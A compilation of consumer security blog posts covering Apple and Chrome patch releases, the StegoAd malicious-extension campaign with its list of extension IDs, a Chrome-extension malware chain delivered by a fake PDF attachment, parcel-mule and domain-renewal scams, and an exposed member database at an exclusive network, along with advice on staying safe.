Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free → 

The updates for iOS/iPadOS, MacOS Tahoe, and Safari were issued after testing on iOS 26.6 and iPadOS 26.6 betas.

What stands out in the update is that a lot of the vulnerabilities were found in WebKit, the browser engine that powers Safari as well as every browser on iPhone, including Chrome, Firefox, and Edge. It also looks like several of the issues Apple has addressed can be chained together to steal data or run malicious code with little or no user interaction.

Updates for your particular device

The table below shows which updates are available and points you to the relevant security content for that subject.

How to update your Apple devices

How to update your iPhone or iPad

For iOS and iPadOS users, here’s how to check if you’re using the latest software version:

Go to Settings > General > Software Update. You will see if there are updates available and be guided through installing them.

Turn on Automatic Updates if you haven’t already—you’ll find it on the same screen.

How to update macOS on any version

To update macOS on any supported Mac, use the Software Update feature, which Apple designed to work consistently across all recent versions. Here are the steps:

• Click the Apple menu in the upper-left corner of your screen.
• Choose System Settings (or System Preferences on older versions).
• Select General in the sidebar, then click Software Update on the right. On older macOS, just look for Software Update directly.
• Your Mac will check for updates automatically. If updates are available, click Update Now (or Upgrade Now for major new versions) and follow the on-screen instructions. Before you upgrade to macOS Tahoe 26, please read these instructions.
• Enter your administrator password if prompted, then let your Mac finish the update (it might need to restart during this process).
• Make sure your Mac stays plugged in and connected to the internet until the update is done.

How to update your Safari browser

Safari updates are included with macOS updates, so installing the latest version of macOS will also update Safari. To check manually:

• Open the Apple menu > System Settings > General > Software Update.
• If you see a Safari update listed separately, click Update Now to install it.
• Restart your device when prompted.

If you’re on an older macOS version that’s still supported (like Sonoma or Sequoia), Apple may offer Safari updates independently through Software Update.

Technical details

On iPhone and iPad, every browser—Safari, Chrome, Firefox, Edge—is forced to use Apple’s WebKit engine, which is exactly where most of the 26.5.2 fixes land. Apple and independent write‑ups describe a chain of WebKit issues, including use‑after‑free bugs, memory corruption, and cross‑origin logic errors that could be triggered simply by loading a malicious page. In several cases, the impact ranges from crashing your browser to corrupting memory or leaking data from other sites you have open in different tabs.

And there are some other browser related issues. Apple also notes fixes in Web Extensions and permission handling that could have allowed browser extensions or sites to access more data than intended. Plus some that are scattered across related libraries and frameworks such as libxslt, and WebRTC.

Libxslt is an open-source C library used to perform transformations on XML documents. It enables developers to convert raw XML data into other formats, such as HTML, plain text, or other XML structures.

WebRTC (Web Real-Time Communication) is an open-source technology that allows web browsers and mobile apps to communicate directly with each other.

None of the patched vulnerabilities are known to be exploited in the wild, but that doesn’t mean you can relax. One thing to consider when you are scheduling this update is that, due to the beta testing, the details of these vulnerabilities have been public knowledge for a while, so the race to come up with an exploit has already started.

Scammers know more about you than you think. 

Malwarebytes Mobile Security protects you from phishing, scam texts, malicious sites, and more. With real-time AI-powered Scam Guard built right in. 

Download for iOS → Download for Android → 

Pay is personal for plenty of Americans, but a new distribution model that consumes vast quantities of worker data is turning pay into something else: personalized.

For an increasing number of workers in America, the money they can expect to be paid on any given day, week, or month is unknown to them. They could work the same number of hours as they did the shift before. They could help the same number of customers. They could do everything, as nearly similar as possible, and still be paid less than another worker in the exact same position, or even themselves just last week.

The mechanism behind this pay disparity is called algorithmic wage discrimination and while the term may be new, it’s inner workings could sound quite familiar.

Algorithmic wage discrimination describes the zig-zag pay that is meted out to contract workers by big companies like Uber and Amazon. Whereas many workers in the world rely on salaries, or commissions, or self-determined contract rates, workers at Uber are different.

In the same way that Uber decides what you pay for a ride to the airport, Uber also decides what a driver makes. And the calculus behind that decision is opaque. Location, traffic, the time of day, and the number of drivers on the road all play some role, but not a complete one. And in the same way that Uber incentivizes you with a flash sale or a price so high that you maybe walk a couple blocks in a different direction to get a lower price, Uber incentivizes drivers with bonuses and challenges, keeping them on the road perhaps longer than they intended.

The end result, then, isn’t just unpredictable pay—it’s potentially an attempt to predict and control behavior.

For her 2023 paper, titled “On Algorithmic Wage Discrimination,” professor of law Veena Dubal spoke with many Uber drives who compared this system to “casino culture,” in that the pay is unpredictable but the potential for a jackpot—or, just a good payment on one ride—is enough to convince drivers to stick around, night after night, hour after hour.

As one driver told Dubal:

“It’s like gambling! The house always wins.”

Today, on the Lock and Code podcast with host David Ruiz, we speak with Dubal—professor of law at the UC Irvine School of Law—about how algorithmic wage discrimination works, what data it consumes to function, and the threat it poses as it creeps from gig work into many more industries.

Tune in today to listen to the full conversation.

Show notes and credits:

Intro Music: “Spellbound” by Kevin MacLeod (incompetech.com)
Licensed under Creative Commons: By Attribution 4.0 License
http://creativecommons.org/licenses/by/4.0/
Outro Music: “Good God” by Wowa (unminus.com)

Listen up—Malwarebytes doesn’t just talk cybersecurity, we provide it.

Protect yourself from online attacks that threaten your identity, your files, your system, and your financial well-being with our exclusive offer for Malwarebytes Premium Security for Lock and Code listeners.

In a paper titled “Inside StegoAd: How We Disrupted a Massive Malicious Extension Campaign,” Microsoft researchers detail how they uncovered and dismantled a sophisticated malware campaign that abused browser extensions to infect users. According to Microsoft, the campaign involved 119 malicious browser extensions which were downloaded by 2.6 million users.

The extensions all promised, and delivered, some kind of basic functionality: ad blockers, VPNs, translators, video downloaders, calculators, coupon extensions and so on. But after a while they turned out to be “sleepers” and secretly started downloading additional malware.

Among the payload was malware involved in ad fraud, but also extensions that ran arbitrary JavaScript pushed from the server, which stole Google credentials and second-factor codes at sign-in, harvested WordPress admin logins, and exfiltrated cookies in bulk for session hijacking.

The name of the campaign “StegoAd” is derived from the words advertising and steganography, which means techniques of hiding secrets in something that doesn’t immediately cause suspicion. In this case, hiding code in images.

And not only did the cybercriminals try to stay under the radar by waiting for some time, and hiding malicious code inside images, they also left some victims alone. Some of the extensions only went rogue in about 10% of installs, which would actually execute the next stage of the malware, while the other ~90% would be left alone (at least for that execution attempt). And, in some cases, they re-used names of well-known legitimate extensions to install an additional level of trust.

Browser extensions are a source of wealth for cybercriminals because it compares to installing a small program that lives inside your browser, which can see and report about everything you do on the internet.

Now I hear some of you thinking: I don’t use Edge. Or I’ve used it just once, to download and install my favorite browser. But although Microsoft discovered and analyzed the campaign, the techniques used in this campaign are applicable to Chromium-based browsers in general.

This campaign was less about exploiting a browser vulnerability and more about tricking users into installing a trusted-looking extension, then using sophisticated concealment techniques to avoid detection long enough to compromise systems.

How to stay safe

Always be careful when downloading extensions, even from the reputable app stores. As we’ve seen many times before, criminals manage to get their apps or extensions listed when they are only one update away from turning into malware. So, make sure that you trust the developer and don’t rely on reviews alone.

Use an up-to-date real-time security solution to detect and remove malicious extensions from your device and block connections to malicious domains and IP addresses. Remove the known malicious extensions from your browser. Below is an alphabetical list of the malicious extensions the researchers found by name.

Please note that there might be more than one extension that has the same name. In case you doubt whether the extension you have installed is among them, check whether the ID matches the one shown in the list. If you prefer looking them up by ID, you can find them organized differently in the Microsoft report (pages 40-43).

Extension Name	Extension ID
#Best# PDF Saver	jebcdimkcimkafekgbgbhookdajcoeib
“Download” Button for YouTube	jbmkcmhocoddcokjkahpcchanlmiffhg
“Save” Button for Pinterest	fhkijdlfjnpimenfpnegkecbbijmoipm
…Page Screenshot Clipper	maiackahflfnegibhinjhpbgeoldeklb
7TV	nmhdjlflloeeahacgomilnhmpfnhlpkn
Adblock	aooacabidfijofopjaeligonlfobjcjb
Adblock	dckihkcdmjmlkndgmmgplpcnkmdpangb
Adblock (µBlock clone)	kmiahfbflcnmlobepelpgkmolhodmiek
Adblock For Edge	kikacehfccglblphddbifmiaeiglfdfi
Adblock Master	dgmpkflgbcbpjgniahjegbpelmofbgnn
Adblock Master	hninibdhkeepfndhcdknlijeapngbgdp
Adblock Master for Youtube	jnakfjmfmjmfpmdnghedafdphdanbjkh
Adblock for Youtube	afakckepbbffmnoghgpfnnebijeahjcb
Adblock for Youtube	gclhifbbggfamoojmienffegbmmfnfll
Adblock for Youtube	nipggfgilmoiofmnkbeabghbcaohmjih
Adblocker FX	fkkoeecbjckjpnmenebojblcljjgbpoj
Adblocker Plus for YouTube	imiheoejheaebigkjaeilfmekiikjdbd
AdFly Skipper for Edge	nhfohdhgahjpmniccbgflilignkcnmai
AdSkip-爱奇艺	mimmainmmkddahakleojidjaimaofndp
Ads Block Ultimate	fbobegkkdmmcnmoplkgdmfhdlkjfelnb
AI Search GPT for Edge	beemogkfhphmjghmkghdaggidgohohee
AI Search with ChatGPT	jgngkchljnldpnjimaboboomjmpfpoie
AI Weather Forecast	iaehhmhmdidpkfmddiodkloefndpggcj
AliExpress Helper	elecjoakfjcmjoppfconlfgfemjcaoea
Auto Skip Ads on YouTube	dcelinkcepeidliddjhapgjokheoldjb
Axure RP Viewer	aekfeebhjlmielppjlhebapokdkelion
Batch Image Downloader	hnleilhpfbdofpdnnpjggafhncienakg
Batch Image Downloader	ibfjnghdeenopfkpbmnkablkfejnlnif
Best Speedtest Tool	eklcgjodcnhhcghpbhehhbnmjncbopcg
Best YouTube Adblocker	cjjcndlebdepeddfopnhpifmbfecocfh
Color Enhancer	bmmchpeggdipgcobjbkcjiifgjdaodng
Color by Number	aljmdjbcbkanlhnmcdjbefaomgbekhno
ColorZilla	mdjeohcdegpfoppocljbccpognjlkjke
Convert Everything	ielbkcjohpgmjhoiadncabphkglejgih
Cool Cursor	ajbkmeegjnmaggkhmibgckapjkohajim
CrxMouse – Super Drag	pohfogacehhgefhgmcmnojflfakllkal
CrxMouse Gestures	imcbcfmohachfahkbgijokokjpfmoogb
Custom New Tab for Edge	dbhgpbaaedlknnnochmkjfacnfnakkfa
Downloader for Instagram	higdalghhdbfffdjdiaenminajlmmldb
Download All Images	hnggnhinapdcjocbciajaffnofecfale
Edge Web Highlighter	ijgobfhjjipoljjcejmafocdnfnloflm
Efficient Adblocker for Youtube	oejbpnadmkdiofacgknaaagbmmonhgpb
Enhance YouTube	jecnjeedhbokmpckobjbgieglfjcomek
Evernote in Pinned Tab	elljfaejhdaplocgcejlhfemgimbmcdp
Focus To-Do: Pomodoro Timer & To Do List	nlapjaaepfeadiecaipnacimidfjginj
Free Online Video Downloader	bpdanoaacmebjgfjdmekfcfgmnaoekim
G.B.B.D Translator	fdjpommjpahieenehallhicdhponhacm
GIPHY for Edge	gggjlnkbmgmjboipaegjmjmehmcekamo
Gmail Checker	nhjdhmbdahdidccpobobccagmmijndmp
Google Hangouts	adnahjjfjjemdiefpobclponnhkijnmo
Google search link fix	mjofmhcbolkekhebpccldlbdamnfjefc
Google Translate in Right Click	fcoongackakfdmiincikmjgkedcgjkdp
Hiddence VPN	akfklmfpgmkkhiiolnfbhalkeccjnmeb
HLS Stream Downloader	fgbfcndckldbjifhjgijpjmnpekkelkb
IG Downloader for Edge	ncbpkjcnklnbnkjpcamhhoedlkljeolo
Image Downloader – Batch Download	ngeoikidkjbegoifbnmfimacmbilfcgi
Image Downloader Pro	gnbnbmnldhfoplgjojhepikgjanaplle
Imageye	ikfdcmchafnmklcndfegdlefcfoaggni
ImTranslator	bbofakpgfmlfjpjcahodgpbddocpibge
iQiyi Adblock	hlkenllnegiplhjhpobgangolfkjcgab
iVideo Downloader	amfboegfahhedgehddflgcfbdaapllfj
iYouTubeToMP4	bemebcpaekkmffjjbdakpipemmmlgchb
Language Reactor	hffpfdhdjpbnaddaidajedimmpckekkl
Live Start Page	egbkgelnkodaldbpkgjmhcekjakkcpnk
Magic Actions for YouTube	pjhoiegecdlpaohfffpajaldpbilngog
Marinara: Pomodoro® Assistant	mebgpfbaibhepnkljpimlijicgkbangk
Mouse Tooltip Translator	ibjjllhemkfgfbkgohldepcdgiigpdkb
Natural Reader Text to Speech	eopjamlpanhfkcbnoeofcnmdfdiogfgl
New Tab – Customized Dashboard	edohfgmjmdnibeihfcajfclmhapjkooa
Night Mode	engcfdjknekakgpjkhdobneidcpfbfgm
Night Mode	pgcamkdibinodcpkhenjmofbfobpebpn
One Key Translate	jihipmfmicjjpbpmoceapfjmigmemfam
Picture-in-Picture Playing	kemjiblbeciejjlgobbkffbpnceieefh
Piggy – Automatic Coupons	gmaoimcaoimgmomockloieoifjocpkmf
Pinterest Save Button	kakgeonhimhojdncehlopejkfaapboeo
Return YouTube Dislike	cgoigjefilgfmcjnnendlpdaonlfoncf
RSS Feed	gmciomcaholgmklbfangdjkneihfkddd
Save as PDF	mlgefgipndlgdfjfgnjfheigkagjieea
Save Pinterest on Right Click	glgbgppjjkldoifgpbhbpbkbcdjpgpfj
Screen Shader | Dark Mode	olcibgopfmndlnghnmogcgdhdffdbicg
Similar Sites – Discover Related Websites	fifeankddgioinbcchlokclbcgjlopjj
Similar Sites for Edge	fhhinoefbjlmhakpjohnpabdobgmphli
Simple mass downloader	dbhdfkiddhdhmcikjdgblfjbenjfjlfh
Social Book Post Manager	inelenlaldjofeekhjinpjkacjokagke
SpeakIt!	badiigfpcpfckbhmpmkhokagppaadkim
Speed Control for Youtube	eindenipbnkpeofhpjjimphfchmjoohe
Spell & Grammar Check Tool	fljmegmgjebjdionedkjfgffikhnmcgg
ssYoutube – Video Downloader	okmfpehbgckbneedidbladdaiekikcdo
Summary with ChatGPT	dokiamnhbobapjfhhhcjlfplabeofamp
Super Dark Mode for Edge	lkmeakjjodlkhbikbpdoeicfodaklkna
TikMate	jhahljcmjemimhchigiaigklabnpodgo
TikTok APP for Edge	celdediiemogjpfcjocdbildilkccepl
TikTok Downloader Without Watermark	flcgalphjnojjefjnnimnejbkkefbjgo
To QRcode	cgjomicbgmoadggnjbdiafpjlodmafkp
Transkriptor	lplondnihmdhjokafldkcfnjclkhigpm
Translate Officer	jjdfciihihcpgfgmoonfpgglbgclpfai
Translate Selected Text with Google	obocpangfamkffjllmcfnieeoacoheda
Translate Selected Text with Right Click	fmchencccolmmgjmaahfhpglemdcjfll
Trusted VPN for Edge – Free VeePN	klmfgbnlbfgpdenpdddpdfigmnkmchil
Turbo Download Manager	bpjnmlookdfciblphehedlcbpmignahe
Twitch Custom Emotes – FrankerFaceZ	johcbgkljdbebbloakcollpmigpigkpd
U-Tube Downloader	nphphgkcccnlmdiihcedabnhfacfmojk
Undo Closed Tabs	amemnenomfejhfmfiheekmbcigfkolel
Unblock Youku	ajnjfpjimckjhfcpkaldennpdjglmeml
UseChatGPT.AI	hcmfdagipflbaagmcnhnhabkmjkopcke
Video & MP3 Downloader	oiolhdeinoaidggfcpebifcbedppbgog
Video Downloader Premium	jgphopeamnghlcekffldkpnbhmiadnbc
VPN	pdnjhppcgkdbjolbeplcabkcfmpnbjmh
Weather Forecast	hecicojipmfmablnbhknedademofbbpk
Webpage Screenshot for Edge	eblienbdkbgiigaebhmljbedkafiobkj
YouTube Transcript to Text	nfincgjfplibcdcncfkeehldffppnlnp
YouTube Adblock Plus	flmkfmdmcaepdaoedepihfkhmgopiago
Youtube Adblock Online	hmjdegfgppjddmmojloflajkelegnjdp
Youtube Download	dhnibdhcanplpdkcljgmfhbipehkgdkk
Youtube To MP4 Downloader	cfilkckedhoniijcpjfgihelgepflpni
ZLibrary Searcher	ffedaeoanbhgmanhhecfjodpopcjnhkc
一键翻译	nepdfkaidpemglngbgpnmmhnleiekpin
鼠标手势 (Mouse Gestures)	cbopgngpbfeoecnbebghbbhmdadmllce

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

• Malware steals Chrome session cookies to take over your accounts
• Beware of “Parcel Expert” job offers: They’re parcel mule scams
• Update Chrome to patch critical browser security flaws
• Fake domain renewal emails trick website owners into paying scammers
• Elite network says it was hacked after members’ personal data was left exposed
• PixelSmash flaw turns video files into attack tools
• Watch out for renewal scams pretending to be Malwarebytes
• “Total access to all your devices.” Sextortion scammers strike again
• Inside the dark web: Stolen identities for 95¢, malware, and scams-for-hire
• Meta pauses controversial employee-tracking program after security review
• Hackers steal passport and driver’s license data of 3 million Texans
• GTA 6 early access is nothing but a scam
• Thousands of D-Link routers under control of AryStinger botnet
• Document delivery scams: What are they and what’s their goal?

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The attack starts with an email attachment disguised as a PDF. The file uses the misleading extension .pfd.js to look like a PDF document, but it’s actually an obfuscated JavaScript file that drops additional files into the temporary folder and starts the rest of the infection chain.

As part of that chain, a PowerShell script prepares a Chrome extension and changes Chrome policy settings so that the extension can be installed. The malware makes the installation appear to be an administrator-controlled deployment rather than a normal extension installation.

Once active, the extension and its native companion collect browser cookies, open tabs, URLs, language settings, and fingerprinting data. The operators also use the setup as a remote command channel, sending instructions that can launch PowerShell and enumerate the contents of the C: drive.

With the stolen authenticated session cookies, the attackers can hijack active browser sessions rather than just stealing passwords, which is more useful to them as it lets them access accounts already logged in on the victim’s browser, bypassing multi-factor authentication (MFA).

The most interesting aspect of the attack is its abuse of Chrome Native Messaging as a bridge between the browser sandbox and the operating system. Chrome allows extensions to communicate with a registered native host, and the attackers weaponized that legitimate feature to make the extension a controller for local code execution. The extension doesn’t launch PowerShell directly. Instead, it sends messages to the native host, which then launches or interacts with PowerShell on the host system.

How to stay safe

The first line of defense against attacks of this kind is to avoid opening email attachments unless you can verify the sender. In addition:

• Always check the real file extension instead of relying on the displayed filename.
• Use an up-to-date, real-time anti-malware solution to detect and block malicious activity.
• Check the installed Chrome extensions on your device and remove any you don’t recognize or no longer use.
• To be extra cautious, sign out of important accounts when you’re finished. That invalidates your session, so even if someone has stolen your session cookie, they won’t be able to use it to access your account.
• Regularly check the login history for important accounts. Many online services let you see which devices have signed in, when, and from where.

IOCs

Attachment:

Fattura-2819889242.pfd.js (displayed as Fattura-26189991026.pdf)

Malicious files:

client_124578.exe
d3d11.dll

Chrome extension:

Name: Cloud vn105rkj64
ID: gghagmhimhgfeajfdmjkgmmehbokmglg

Domain:

ext2[.]info

This is blocked by Malwarebytes Browser Guard, our free browser extension that blocks ads, trackers, malware, and more.

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It usually starts with a fake remote job offer that promises easy money for receiving, inspecting, repackaging, and forwarding packages from home. The “employer” may claim to be connected to familiar companies, but the real purpose is to move goods bought with stolen payment information so they are harder to trace. Victims often think they are doing routine logistics work, but they are actually helping criminals launder stolen merchandise.

Targets get “recruited” to work from home for shipping companies or retailers. Scammers reach them by email, direct messages on social media, WhatsApp, and any other channel they can think of. One job title that appears frequently is “Parcel Expert.”

Let’s look at an example received unsolicited on WhatsApp:

“Hi! I hope you’re doing well.
My name is Elena from the Logistics Department. We reviewed your profile and would like to offer you a position as a Parcel Expert. This is a remote part-time opportunity with flexible hours and a monthly income of up to $5,300.
Your main duties will be: receiving packages at your home address, checking items against invoices, taking photos if needed, preparing documents, and forwarding the parcels to our distribution hubs. In some cases, you may be asked to send urgent orders directly to international destinations.

We work with well-known retailers, including Amazon, Best Buy, Walmart, and Zappos, so the process is simple and safe. No experience is necessary, and we provide full instructions.

Please reply ‘interested’ if you would like to proceed, and we will send you the onboarding details.”

It follows the classic pattern closely: high pay for low-skill, home-based work, packages sent to a private address, and a requirement to forward items to hubs or international destinations. The mention of well-known retailers like Amazon, Best Buy, and Walmart is also a common trust signal scammers use to make the offer sound legitimate.

How to recognize parcel mule scams

All I really need to do here is quote the Malwarebytes Scam Guard analysis:

Red flags identified

The companies mentioned in the scams vary by location. For example, a German target was “recruited” to work for DHL, a Spanish customer got an offer for Mercado, and a US victim received one for Freight Metro. But it’s mostly the big global names like Amazon, FedEx, and retailers like Best Buy, AliExpress, and Walmart.

1. Work from home shipping packages: Legitimate companies do not ship high-value goods to the private home address of someone they just hired online, especially for work-from-home roles.
2. Payment promises seem too good to be true: $4,400 base salary plus performance bonuses for unskilled logistical work is extremely unrealistic, especially for remote roles with no experience required.
3. Handling of items from retailers: Fraud rings commonly use stolen credit card info to order goods sent to recruited “mules” (victims) who unknowingly forward them, making tracing harder for law enforcement.
4. International reshipping: Legitimate logistics companies use professional hubs—they do not ask new hires to ship internationally directly from their homes.
5. Personal risk: You may become involved in credit card fraud and have law enforcement contact you, as your home address will be connected to the receipt and shipping of stolen goods.
6. Typical language patterns: The description is nearly identical to those used by scammers globally.

What are the risks

The most obvious risk is wasting your time on a job you’ll never get paid for. But there are others:

• Scammers may ask for personal documents, increasing the risk of fraud and identity theft if they collect IDs, banking details, or other sensitive data during the “onboarding” process.
• Victims can become suspects or persons of interest if authorities trace stolen goods back to them.
• Criminals know you are vulnerable and will try to take advantage of you again.

How to stay safe

Recognizing scams for what they are is the best protection, so keep reading our blog.

• The most important rule for all types of scams is simple: Do not interact. Not even for fun or to waste the scammers’ time. It takes a lot of preparation to do that safely.
• Verify the company independently, search for complaints or scam reports, and be skeptical of any offer that is unusually vague or highly paid.
• Do not share identity documents, your home address, phone number, or bank details.
• Be cautious of any role that requires upfront payments or fees to get started. While some legitimate franchise or business opportunities involve investment, they should be transparent, well-documented, and independently verifiable.
• Be aware that receiving and forwarding stolen goods is illegal and could implicate you in a crime.
• Report the incident to the proper authorities. In the US, report it to the FTC.

Pro tip: Malwarebytes Scam Guard identified this scam for what it is and will advise users on how to proceed.

Something feel off? Check it before you click.  

Malwarebytes Scam Guard helps you analyze suspicious links, texts, and screenshots instantly.  

Available with Malwarebytes Premium Security for all your devices, and in the Malwarebytes app for iOS and Android.  

Try it free → 

The stable channel has been updated to 149.0.7827.196/197 for Windows and Mac and 149.0.7827.196 for Linux. The update will roll out over the coming days and weeks. Chrome for Android was also recently updated to 149.0.7827.197.

How to update Chrome

If you don’t want to wait for the rollout to reach you, manually updating is easy.

The easiest option is to allow Chrome to update automatically. But you can end up lagging behind on updates if you never close your browser or if something goes wrong, such as an extension preventing the update.

To update manually, click the More menu (three dots), then go to Settings > About Chrome. If an update is available, Chrome will start downloading it automatically. Restart Chrome to complete the update, and you’ll be protected against these vulnerabilities.

You can find an explanation of the version numbering system and also find step-by-step instructions in our guide to how to update Chrome on every operating system.

Technical details

Let’s look at the two Critical WebGL vulnerabilities. WebGL, short for Web Graphics Library, is a browser technology that lets websites display interactive 2D and 3D graphics.

We’ll start with the only vulnerability that wasn’t discovered by Google. It’s a use-after-free vulnerability in WebGL, tracked as CVE-2026-13028, that could allow an attacker to escape Chrome’s browser sandbox using a specially crafted HTML page.

Use-after-free is a class of vulnerability caused by incorrect use of dynamic memory during a program’s operation. If, after freeing a memory location, a program does not clear the pointer to that memory, an attacker can abuse that mistake to crash a program or make it run code it should not run.

The browser sandbox is a restricted, sealed-off environment that is supposed to contain any malicious activity within the browser rather than directly on your whole computer. So a sandbox escape is dangerous because it can help attackers move from “something bad happened inside the browser” to “something bad can affect the wider system.”

The other Critical WebGL vulnerability is CVE-2026-13032. It’s also a use-after-free  flaw that could allow a remote attacker to escape the sandbox via a crafted HTML page.

Even without confirmed in‑the‑wild exploitation for these CVEs, Chrome has had several zero‑days exploited this year, so attackers clearly invest in web-based attacks. For example, CVE‑2026‑2441, which got its own separate update, allowed attackers to run code inside Chrome’s sandbox through a malicious web page. Paired with either of the WebGL flaws discussed above, it could have helped attackers break out of the browser’s protections. Together, those vulnerabilities could potentially have allowed attackers to take control of the wider system.

Stop threats before they can do any harm.

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It feels urgent and personal, so it feels real.

The site, branded Renovarix, doesn’t renew domains. Instead, it pushes visitors through a series of pages that collect personal information and eventually payment details.

How the scam works

Domain names really do expire, and losing one can be a serious problem. For many people and businesses, a domain is more than a web address. It’s your brand, your email, your search rankings, and the name customers type in when they want to find you. If it lapses, your website and email can stop working. If someone else registers it before you get it back, recovery can be difficult or impossible. That’s a lot to lose, and scammers know it.

This scam takes advantage of that fear with a convincing fake renewal process.

The email and website are fake. The “live registry data” is only partly real. Clicking Renew Now doesn’t renew your domain. Instead, it sends you through a chain of websites that first collect your name, address, phone number, and email, then eventually ask for payment details.

If you deleted the email, there’s nothing to worry about. If you clicked the link, simply close the page. If you entered personal or payment information, follow the guidance above.

The email that starts it

The scam begins with an email, although the presentation varies. Some are crude: a plain “Domain Renewal Reminder” from a generic “Domain Services Inc.” with an invoice number and an amount due.

Others are much more polished, using the Renovarix brand, a reference number, and a respectable-looking London business address.

But they share the same giveaway. The “official” Renovarix renewal notice was sent from an ordinary Gmail address. A company claiming a London office and 24/7 support isn’t likely to send billing notices from Gmail. When the branding looks professional but the sender doesn’t match, that’s a major red flag.

A page that knows too much

The link opens a page that immediately performs a “lookup,” narrating its progress with messages such as “connecting to registry” and “fetching WHOIS records” before displaying your domain name, registrar, and expiry date.

That makes it look as though the site has queried the official domain registry. Some of the information may come from genuine public records, but much of what makes the page appear authoritative is invented. For example, the displayed “Registry ID” isn’t retrieved from any registry. It’s generated locally in your browser from your domain name and exists purely to look official.

Everything is designed to push your panic button

Once that dashboard loads, the whole page becomes a funnel built to rush you.

A red banner claims your domain expires in “03 days,” regardless of its real expiry date. A second countdown says a “special price” of €2.00, reduced from €9.99, expires in fifteen minutes. Try closing the page and a pop-up appears warning, “Wait — Your Domain Is At Risk!” with a dismiss button that reads, “No thanks, I’ll risk it.”

Legitimate registrars don’t rely on countdown timers or guilt-inducing pop-ups. The pressure is the scam.

The “renewal” renews nothing

Here’s the clearest sign something is wrong: clicking Renew Now doesn’t contact your registrar or process a renewal. It simply redirects your browser to another website.

Some versions even display a cheerful “Renewal Complete!” confirmation with a new expiry date, confirmation number, and a message claiming a receipt has been emailed. None of it reflects a real transaction. Everything is generated in your browser.

Where your details actually go

The button sends you, through a marketing affiliate link, to a page called “Secure Checkout.”

The page asks for your name, address, postcode, city, phone number, and email address. Once submitted, you’re passed through additional pages where payment is eventually requested.

Two details suggest this is a recycled scam kit rather than a genuine domain service. It can automatically populate your details from the link you clicked, and its fake five-star reviews still refer to “HappyPrizes” and how easy it was to “win something nice”—leftover text from an earlier prize scam that used the same template.

Why people fall for it

The scam works because it exploits a genuine concern. The scam starts with a believable premise. Domain renewals are a normal part of running a website, so an expiry notice doesn’t seem out of place. The scammers build on that with convincing branding, public domain information, and manufactured urgency.

It also feels personal. Many people wonder how scammers knew about their specific domain. The answer is that they don’t know you personally. Every registered domain appears in public WHOIS/RDAP records, which include the domain name, registrar, important dates, and sometimes a contact email address. Scammers collect this information in bulk, then generate links that display your own domain details back to you. Seeing familiar information makes the page feel legitimate, even though it came from public records.

Finally, the scam creates urgency. Countdown timers, warnings that your domain is at risk, and a €2.00 “special offer” are all designed to make you act before you stop to verify the claim. The low price isn’t the objective. Your personal information and payment details are.

None of this makes a victim careless. It makes them human, targeted by people who know how a worried site owner reacts.

What to do

If you receive an email like this, simply delete it. The safest way to handle any domain renewal is simple:

• Don’t click on the email’s link. Go to your registrar through your own bookmark or by typing the address yourself and check your real expiry date there. If you clicked the link, close the page. Looking at it doesn’t put your domain at risk.
• Know who your registrar is. Renewal happens in the account you already have, not on a website you’ve never heard of.
• Treat urgency as a warning sign, not a reason to hurry. Real renewals aren’t fifteen-minute emergencies.
• Check the sender. Billing notices from a Gmail address, or a brand name that doesn’t match your actual provider, are red flags.
• Malwarebytes Browser Guard is free and can help block scam and phishing pages while you browse.

If you already entered personal information (such as your name, address, phone number, or email address):

• Be prepared for follow-up scams. Attackers may contact you by phone or email, claiming to be your registrar or referring to your domain, an “order,” or a “renewal.”
• Don’t trust unsolicited calls or emails, even if they seem to know details about your domain.
• If you need to contact your registrar or bank, use contact details from their official website, not those provided in the email or on the scam page.

If you entered payment card details:

Turn on transaction alerts so you’re notified as soon as your card is used.

Contact your bank or card issuer immediately. Tell them you entered your card details on a fraudulent website and ask whether they recommend blocking and replacing the card, even if you don’t see any unauthorized charges yet.

Monitor your account closely. Scammers sometimes make small “test” charges before attempting larger transactions.

Indicators of compromise

• renovarix[.]org — fake domain renewal page
• xe54ghj[.]com — redirector
• paysuccessful[.]site — personal-data capture page
• molipy8trk[.]com — redirector
• topprogressstores[.]online — final offer landing

We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Dialog, the exclusive network founded by billionaire investor and PayPal co-founder Peter Thiel, whose members include a sitting NATO commander, two US senators, and the US Treasury Secretary, is one of those.

Last week, information on hundreds of those members was sitting in plaintext on its app distribution site, visible to anyone who knew how to right-click. Then Dialog said it had been hacked.

A signup page that led straight to members’ files

The site was set up to distribute a phone app to support an upcoming gathering for the network, which arranges high-end get-togethers. Any visitor could sign up using any email address. It did not request a password.

After submitting an email, the visitor landed on a near-empty holding page that reportedly loaded internal files on roughly 200 high-profile people directly into their browser. They were visible using “tools built into every major browser,” which appears to refer to the browser’s built-in developer tools.

Those files were not minimal. Loading the questionnaire forms returned dates of birth, emergency contacts, cell phone numbers, the political leanings Dialog assigns to its members, internal rankings and grading notes, and the digital keys that serve as members’ logins. For nearly all of them, the exposed data was comprehensive, from private contact information through to active login tokens.

The records also included a current White House intelligence official, a retired general who held a senior role in US intelligence, and the heads of national security policy at two leading AI firms. Dialog also privately scores attendees, weighing their wealth and prominence in decisions about admission, seating, and pricing. Those scores were among the things sitting in the public HTML.

Dialog on the defensive

Dialog’s managing director described the access as a hack

“executed by a well-known criminal who is wanted in the United States.”

WIRED, which broke the story, found no evidence that any break-in was required. In fact, it seems to have involved little more than clicking on a link on a web page.

The forms were built using Fillout, a popular online form builder. The data was stored in Airtable, a widely used cloud database platform. Fillout said it was unaware of any compromise to its own systems and noted that customers are responsible for configuring their forms, connected data sources, and workflows.

Dialog has not said when the misconfigured page first went live, meaning members’ data could have been openly accessible for an indeterminate period before it was discovered.

Security misconfiguration now ranks #2 on the OWASP Top 10 for 2025, which is an industry list of the top application security risks. It has risen from #5 in 2021. The category accounts for more than 719,000 of documented security weaknesses.

The fix is also routine: build systems with only the features you need, and configure them securely.

What this means for the rest of us

How organizations describe incidents matters beyond a single breach. If simply accessing publicly available information is routinely labeled a “hack,” security researchers may become more reluctant to investigate and responsibly disclose exposed systems, leaving misconfigurations undiscovered for longer.

For end users, the lesson is older than the internet. If an organization collects your date of birth, your emergency contacts, and a private score of how much you’re worth to them, ask where that data lives. Any answer involving “our website” deserves a second question, and anything that stops at “we take your security very seriously” deserves further questioning.

